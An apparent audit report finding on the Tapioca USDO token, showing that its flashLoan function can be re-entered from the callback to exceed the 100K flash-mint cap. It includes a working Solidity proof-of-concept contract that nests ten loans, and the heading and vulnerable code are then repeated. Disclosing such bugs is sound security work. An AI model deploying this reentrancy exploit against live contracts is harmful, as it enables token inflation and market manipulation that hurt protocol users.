### `USDO` flashLoan reentrancy can bypass `maxFlashMint`
`USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`.
```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external override notPaused returns (bool) {
require(token == address(this), "USDO: token not valid");
require(maxFlashLoan(token) >= amount, "USDO: amount too big");
require(amount > 0, "USDO: amount not valid");
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==
FLASH_MINT_CALLBACK_SUCCESS,
"USDO: failed"
);
uint256 _allowance = allowance(address(receiver), address(this));
require(_allowance >= (amount + fee), "USDO: repay not approved");
_approve(address(receiver), address(this), _allowance - (amount + fee));
_burn(address(receiver), amount + fee);
return true;
}
```
Its default limitation is 100K.
```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/BaseUSDOStorage.sol#L78
flashMintFee = 10; // 0.001%
maxFlashMint = 100_000 * 1e18; // 100k USDO
```
However, this can be bypassed with `USDO flashLoan reentrancy`: a malicious smart contract can call `flashLoan` again in `onFlashLoan` callback function.
A proof of concept can be:
```solidity
File: https://github.com/AndyJiangPro/tapioca-bar-audit/blob/bypass_maxFlashLoan/contracts/usd0/test/USDOFlashLoan.sol
contract USDOFlashLoan is Ownable, IERC3156FlashBorrower {
IUSDO target;
uint256 round;
bytes32 internal constant FLASH_MINT_CALLBACK_SUCCESS =
keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(address _target) {
target = IUSDO(_target);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
// validate `msg.sender`, etc
target.approve(address(target), type(uint256).max);
if (round == 1) {
// the maximum loan amount should be 100 K
// after 10 rounds, this smart contract can loan 1000 K
// this malicious contract can use these tokens to do something bad
// like, manipulate AMM pools, etc
uint256 balance = target.balanceOf(address(this));
console.log("balance: %s", balance / 1 ether);
return FLASH_MINT_CALLBACK_SUCCESS;
}
round = round - 1;
_loan();
return FLASH_MINT_CALLBACK_SUCCESS;
}
function _loan() internal {
bytes memory data = new bytes(0);
uint maxFlashLoan = target.maxFlashLoan(address(target));
target.flashLoan(
IERC3156FlashBorrower(address(this)),
address(target),
maxFlashLoan,
data
);
}
function startLoan() external onlyOwner {
bytes memory data = new bytes(0);
// loan 10 times
round = 10;
_loan();
}
}
```
This vulnerability can be marked as high because malicious users can mint an arbitrary amount of `USDO` tokens in the `flashLoan`.
### `USDO` flashLoan reentrancy can bypass `maxFlashMint`
`USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`.
```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external override notPaused returns (bool) {
require(token == address(this), "USDO: token not valid");
require(maxFlashLoan(token) >= amount, "USDO: amount too big");
require(amount > 0, "USDO: amount not valid");
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==
FLASH_MINT_CALLBACK_SUCCESS,
"USDO: failed"
);
uint256 _allowance = allowance(address(receiver), address(this));
require(_allowance >= (amount + fee), "USDO: repay not approved");
_approve(address(receiver), address(this), _allowance - (amount + fee));
_burn(address(receiver), amount + fee);
return true;
}
```